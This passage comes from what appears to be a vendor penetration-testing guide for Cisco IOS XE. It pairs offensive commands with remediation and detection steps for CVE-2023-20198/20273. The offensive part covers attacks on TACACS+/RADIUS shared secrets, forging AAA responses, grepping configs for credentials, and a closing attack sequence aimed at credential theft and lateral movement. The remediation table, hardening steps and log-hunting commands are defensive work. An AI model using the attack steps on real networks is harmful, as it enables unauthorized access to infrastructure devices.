tacc -u testuser -p testpass -s 10.1.1.100 -k "decoded_tacacs_secret"
# Replay attack — with the shared secret, forge TACACS+ authentication responses
# Wireshark can decrypt TACACS+ sessions when the shared key is known:
# Wireshark > Preferences > Protocols > TACACS+ > Key: [shared_secret]
# RADIUS shared secret attack with Freeradius utils
# With captured RADIUS Access-Request packet and known shared secret:
radsniff -x -s "shared_secret" -i eth0 'udp port 1812'
# Test RADIUS directly with obtained shared secret
echo "User-Name = \"admin\", User-Password = \"cisco\"" | radclient \
10.1.1.101 auth "shared_secret"
# If ISE is in scope, the extracted TACACS/RADIUS shared secret enables:
# 1. Forging AAA responses to grant unauthorized access to any AAA-enabled device
# 2. Decrypting all captured TACACS+ sessions in network traffic
# 3. Bypassing device access controls if AAA server is unreachable (fallback to local)
# CVE-2023-20109 — Cisco Group Encrypted Transport VPN (GETVPN) key server
# Vulnerable to authenticated RCE via GDOI protocol — extract GM credentials from config
grep -A10 "crypto gdoi\|key server\|group member" running-config.txt
# IOS XE AAA fallback — if TACACS/RADIUS is unreachable, device falls back to local auth
# Test by blocking TACACS+ traffic and attempting login with local credentials
# View configured AAA policy
ssh admin@TARGET "show running-config | section aaa"
# Common secure AAA config vs insecure fallback:
# SECURE: aaa authentication login default group tacacs+ local (fallback to local)
# INSECURE: aaa authentication login default group tacacs+ none (fallback = no auth!)
# Test for 'none' fallback (critical misconfiguration)
# If TACACS+ is unavailable, 'none' = any credentials accepted
# Simulate by testing with garbage credentials when TACACS+ is down
# Check if 'aaa authentication login default ... none' exists in config
grep "aaa authentication.*none" running-config.txt
# If this line exists, the device grants access to anyone when AAA server is unreachable
# Check authorization fallback
grep "aaa authorization.*none\|aaa authorization.*if-authenticated" running-config.txt
Ironimo coordinates nmap, nuclei, and purpose-built Cisco checks in automated scan sequences — detecting CVE-2023-20198, CVE-2023-20273, Smart Install exposure, SNMP community strings, default credentials, and configuration misconfigurations across IOS XE device fleets in minutes.
Start free scan| Finding | Risk | Remediation |
|---|---|---|
| CVE-2023-20198 / CVE-2023-20273 unpatched | Critical | Upgrade to IOS XE 17.9.4a, 17.6.6a, 17.3.8a, or 16.12.10a immediately. As immediate mitigation: no ip http server and no ip http secure-server if WebUI is not operationally required |
| WebUI exposed to internet / untrusted networks | Critical | Restrict HTTP/HTTPS management access with ip http access-class ACL_MGMT in; WebUI should only be reachable from dedicated management VLAN/IP range |
| Smart Install (TCP 4786) exposed | Critical | Disable with no vstack; block TCP 4786 at all perimeter and distribution ACLs; migrate to Cisco Network Services Orchestrator (NSO) for zero-touch provisioning |
| Default credentials (cisco/cisco) | Critical | Change all default credentials on day-1 provisioning; enforce strong password policy via AAA; implement MFA for management access via Cisco ISE and TACACS+ |
| SNMPv1/v2c with default community strings | High | Disable SNMPv1/v2c (no snmp-server); migrate to SNMPv3 with SHA auth and AES128 privacy; restrict SNMP access via ACL (snmp-server community ... view ... ro ACL_MGMT) |
| SNMP RW community string configured | High | Remove all read-write SNMP community strings; use NETCONF/RESTCONF with strong credentials for programmatic config management instead |
| Telnet enabled (TCP 23) | High | no service telnet or transport input ssh on all VTY lines; use SSH with RSA key >= 2048 bits for all management access |
| Type 7 password encoding in config | High | Replace all password 7 entries with secret 9 (scrypt); enable service password-encryption as baseline but understand it only applies type 7 — use key config-key password-encrypt for type 6 AES encryption |
| TACACS+ shared secret with type 7 encoding | High | Use key 6 ... (type 6 AES) for TACACS+/RADIUS keys; rotate shared secrets immediately if config was accessible to unauthorized parties |
| RESTCONF/NETCONF exposed to untrusted networks | High | Restrict with ip http access-class; require client certificate authentication for RESTCONF; log all API access via YANG-based telemetry streaming |
| AAA fallback to 'none' | Critical | Remove none from all AAA method lists; replace with local for emergency fallback; ensure local emergency admin account is documented and credentials stored in PAM vault |
| VPN PSKs in running-config | Medium | Migrate IPsec VPN to certificate-based authentication (PKI); where PSK is unavoidable, use type 6 encryption and unique per-peer keys |
# Step 1: Verify current WebUI status
show running-config | include ip http
# Step 2: Disable WebUI immediately if not required
conf t
no ip http server
no ip http secure-server
end
write memory
# Step 3: If WebUI must remain enabled, restrict access to management range only
conf t
ip access-list standard ACL_HTTP_MGMT
permit 10.0.0.0 0.0.0.255 ! Management subnet only
deny any log
ip http access-class ACL_HTTP_MGMT in
ip http secure-server
end
write memory
# Step 4: Check for backdoor users created by CVE-2023-20198 exploitation
show running-config | include username
# Remove any unauthorized privilege-15 users:
conf t
no username cisco_tac_admin
no username backdoor
end
write memory
# Step 5: Verify patch level
show version | include Version
# Ensure: 17.9.4a or later, 17.6.6a or later, 17.3.8a or later, 16.12.10a or later
# Step 6: Disable Smart Install if not operationally needed
conf t
no vstack
end
show vstack config ! Should show "Role: NA (Smart Install non-operational)"
# Cisco IOS XE system logs — look for new user creation from unknown sources
# Exploitation of CVE-2023-20198 generates syslog entries for user creation
# Search for: "%SYS-5-CONFIG_I: Configured from console by [username] on [interface]"
# Or: "%PARSER-5-CFGLOG_LOGGEDCMD: User: [backdoor_user] logged command"
# Check syslog for unauthorized WebUI logins
show logging | include HTTP|webui|username|privilege|created
# Check for the implant deployed via CVE-2023-20273
# The Lua implant creates a listener on a specific port; detection command:
show platform software file flash: | include lua
dir flash: | include lua
more flash:implant.lua ! If file exists, device is compromised
# Check active HTTP sessions for unusual source IPs
show ip http server session all
show ip http server statistics
# SIEM/Syslog correlation for CVE-2023-20198 exploitation
# Splunk search example:
# index=cisco_syslog sourcetype=cisco:ios
# | search "Configured from" OR "webui" OR "new user"
# | where privilege="15" AND src_ip!="10.0.0.0/8"
# Cisco Secure Network Analytics (Stealthwatch) — behavioral detection
# Look for: Unusual HTTP POST volume to TCP 80/443 on IOS XE management IPs
# Flag: HTTP 200 responses to /webui/logoutconfirm.html from internet IPs
# Verify integrity of running configuration hash
show running-config | archive config difference nvram:startup-config
# Any difference between running and startup config may indicate unauthorized changes
# Check for EEM (Embedded Event Manager) scripts used for persistence
show running-config | section event manager
show event manager policy registered
Cisco IOS XE devices represent one of the most impactful targets in enterprise network security assessments. The scale of CVE-2023-20198 exploitation — tens of thousands of compromised devices within days of public knowledge — underscores how quickly unauthenticated RCE-class vulnerabilities on network infrastructure are weaponized at internet scale. Any internet-exposed IOS XE WebUI instance should be treated as compromised until proven otherwise if it was running a vulnerable version between September and October 2023.
For authorized assessments: begin with nmap across TCP 22/23/80/443/830/4786 and UDP 161 to map the attack surface; fingerprint the IOS XE version via the /webui/logoutconfirm.html?logon_hash=1 endpoint or SNMP sysDescr before touching anything else; probe CVE-2023-20198 on any device with WebUI enabled; test Smart Install on TCP 4786 (unauthenticated config theft); enumerate SNMP community strings including Cisco-specific defaults; and extract the full running configuration via whichever access path succeeds first. The configuration extraction then yields all remaining credentials — TACACS+/RADIUS shared secrets, VPN PSKs, BGP passwords, and local user hashes — for offline cracking and lateral movement planning. Type 7 passwords should be decoded immediately; they provide no security and should be escalated as critical findings in any penetration test report.